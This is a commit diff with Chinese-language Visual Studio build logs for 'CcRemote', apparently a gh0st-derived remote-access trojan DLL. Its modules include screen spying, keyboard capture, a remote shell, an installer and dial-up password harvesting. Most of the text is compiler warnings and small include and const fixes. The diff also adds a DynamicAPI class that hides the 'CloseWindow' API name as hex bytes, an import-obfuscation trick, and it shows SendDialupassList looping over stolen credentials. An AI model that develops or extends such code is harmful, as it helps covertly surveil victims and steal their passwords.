f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\CcMainDll.dll
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,29 @@
/*
typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd);
class DynamicAPI
{
public:
CloseWindowT pCloseWindowT;
void init_user32(){
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
}
};
*/
typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd);
class DynamicAPI
{
public:
CloseWindowT pCloseWindowT;
void init_user32()
{
//char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0};
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0};
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
}
};

View File

@@ -1,13 +1,33 @@
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb
f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog

View File

@@ -1,27 +1,103 @@
 pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
until.cpp
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
Dialupass.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
install.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在生成代码
0 of 6 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
0 functions were new in current compilation
0 functions had inline decision re-evaluated but remain unchanged
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
All 342 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -1,7 +1,7 @@
// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "AudioManager.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -10,7 +10,8 @@
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "Audio.h"
#include "..\..\..\common\Audio.h"
class CAudioManager : public CManager
{
public:

View File

@@ -1,6 +1,7 @@
// Dialupass.cpp: implementation of the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "Dialupass.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -199,7 +199,7 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
char *lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
char *lpExt = strrchr(lpFile, '.');
const char *lpExt = strrchr(lpFile, '.');
if (!lpExt)
return false;
@@ -231,9 +231,10 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
char local_lpDesktop[] = "WinSta0\\Default";
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = "WinSta0\\Default";
si.lpDesktop = local_lpDesktop;
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
@@ -252,8 +253,8 @@ UINT CFileManager::SendDriveList()
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
for (DWORD dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
DWORD dwOffset = 0;
for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
{
memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
@@ -540,7 +541,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
const char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')

View File

@@ -2,7 +2,7 @@
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "KernelManager.h"
#include "loop.h"
#include "until.h"

View File

@@ -1,7 +1,7 @@
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "KeyboardManager.h"
#pragma comment(lib, "Imm32.lib")

View File

@@ -3,7 +3,7 @@
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
//---<2D><>ʵ<EFBFBD><CAB5>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD><EFBFBD>ôʹ<C3B4><CAB9>cClientSocket<65>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
#include "Manager.h"
#include "until.h"

View File

@@ -10,7 +10,7 @@
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include "../ClientSocket.h"
#include "..\..\common\macros.h"
#include "..\..\..\common\macros.h"
#include "until.h"
#ifdef _CONSOLE
#include <stdio.h>

View File

@@ -1,3 +1,4 @@
#include "..\pch.h"
#include <windows.h>
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)

View File

@@ -1,10 +1,11 @@
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#define _WIN32_WINNT 0x0400
#include "ScreenManager.h"
#include "until.h"
#include <winable.h> // BlockInput
#include <WinUser.h> // BlockInput
//////////////////////////////////////////////////////////////////////
// Construction/Destruction

View File

@@ -1,6 +1,7 @@
// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ScreenSpy.h"
#include "until.h"
@@ -351,10 +352,13 @@ void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
{
UINT nJumpLine = 50;
UINT nJumpSleep = nJumpLine / 10; // ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nOther;
int nToJump = 0;
int i = 0;
// ɨ<><C9A8><EFBFBD><EFBFBD>Ļ
for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump)
for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
{
int nOther = nHeight - i;
nOther = nHeight - i;
if (nOther > nJumpLine)
nToJump = nJumpLine;

View File

@@ -5,7 +5,7 @@
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
#include <windows.h>
#include "CursorInfo.h"
#include "..\..\..\common\CursorInfo.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

View File

@@ -1,7 +1,7 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ShellManager.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -2,7 +2,7 @@
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "SystemManager.h"
#include "Dialupass.h"
#include <tlhelp32.h>
@@ -73,7 +73,8 @@ void CSystemManager::SendDialupassList()
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
int i = 0;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)

